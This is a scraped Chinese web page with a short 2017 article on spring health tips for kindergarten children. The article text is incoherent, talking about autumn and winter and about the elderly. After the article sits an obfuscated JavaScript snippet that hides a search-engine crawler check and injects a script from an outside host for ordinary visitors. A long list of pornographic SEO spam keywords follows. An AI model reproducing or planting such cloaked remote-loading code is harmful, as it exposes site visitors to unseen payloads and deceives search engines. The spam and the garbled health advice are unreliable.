當前位置:首頁 > 母嬰 > 育兒知識 > 正文

幼兒園春季保健小常識有哪些

2017-03-03 22:17:31  來源:360常識網   熱度:
導語:最近很多小孩子在春節非常容易出現各種各樣的疾病,很多人由于不注重保暖,也導致自身出現了熱傷風的情況,還有一些小孩子不能搞好自己的衛

最近很多小孩子在春節非常容易出現各種各樣的疾病,很多人由于不注重保暖,也導致自身出現了熱傷風的情況,還有一些小孩子不能搞好自己的衛生,導致自身接觸了傳染源,使自身出現了皮膚類疾病的問題,盡快的來了解一下幼兒園春季保健小常識非常重要。

注意鍛煉身體:

秋冬季節堅持適度的體育鍛煉,不僅可以調養肺氣,提高肺臟器官的功能,而且有利于增強各組織器官的免疫功能和身體對外界寒冷刺激的抵御能力。鍛煉方式因人而異,選擇個人所能承受的運動,其中有耐寒鍛煉,增強機體適應寒冷氣候的能力,如冷水洗手面加之摩擦按摩。運動時不要穿得太厚,應稍有“凍”感,切勿搞的大汗淋漓,當周身發熱,尚未出汗即可停止。尤其老人的鍛煉要量力而行。要注意防受涼,運動時不要穿的過少,身體發熱時不宜一下脫得太多,切忌穿汗濕衣服在冷風中逗留,以免著涼。在運動鍛煉前做好充分準備活動,以防運動損傷。運動者在鍛煉后應多吃些滋陰、潤肺、補液生津的食物,以養陰益氣、維護和鞏固肺功能,達到清肺熱、利咽喉的目的。

精神調養:

秋冬季精神調養要做到安然恬靜、情緒穩定、胸懷開朗、心情舒暢而達到養精蓄銳。由于氣候變化不定,冷暖交替,給人的生理、心理帶來一定影響。因而必須注意心理上的調適,正確把握自己,學會自行解脫。可采取與朋友交流溝通、參加戶外活動及文體活動等方式,進行調理。

以上介紹的幼兒園春季保健小常識可以幫助我們達到一個非常不錯的保健效果,幼兒園小孩子應該多喝一些粥,可以幫助我們達到養胃的效果,避免我們自身出現胃病,同時還可以進行一些有氧運動鍛煉。可以大大提高自身的心肺呼吸能力。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产在线拍揄自揄视精品| 精品人妻久久久久久888| 久久精品国产亚洲精品2020| 自拍偷自拍亚洲精品播放| 国内少妇偷人精品视频免费 | 亚洲欧洲精品成人久久奇米网 | 日韩精品视频免费在线观看| 国内精品51视频在线观看| 精品国产一区二区三区AV| 久久久影院亚洲精品| 一区二区三区免费精品视频| 91精品国产福利在线观看麻豆 | 久久国产美女免费观看精品| 亚洲乱码日产精品BD在线观看| 中文字幕精品无码亚洲字| 超碰97久久国产精品牛牛| 99久久国产综合精品2020| 精品福利视频网站| 国产精品偷伦视频观看免费| 国产精品国产三级国产普通话一| 99久久99久久精品免费观看| 精品国产一区二区三区久久蜜臀| 精品无码人妻一区二区三区| 窝窝午夜色视频国产精品东北| 国产在线拍揄自揄视精品| 91麻豆精品激情在线观看最新| 国产精品一区12p| 亚洲首页国产精品丝袜| 久久久综合九色合综国产精品| 久久99精品国产麻豆蜜芽| 亚洲中文精品久久久久久不卡| 国产A∨国片精品一区二区| 亚洲精品乱码久久久久久蜜桃图片| 国产精品无码无片在线观看| 合区精品久久久中文字幕一区| 精品少妇人妻AV一区二区三区| 久久精品九九亚洲精品| 亚洲精品视频在线| 高清国产精品人妻一区二区 | 人人妻人人澡人人爽人人精品浪潮| 亚洲国产精品人久久|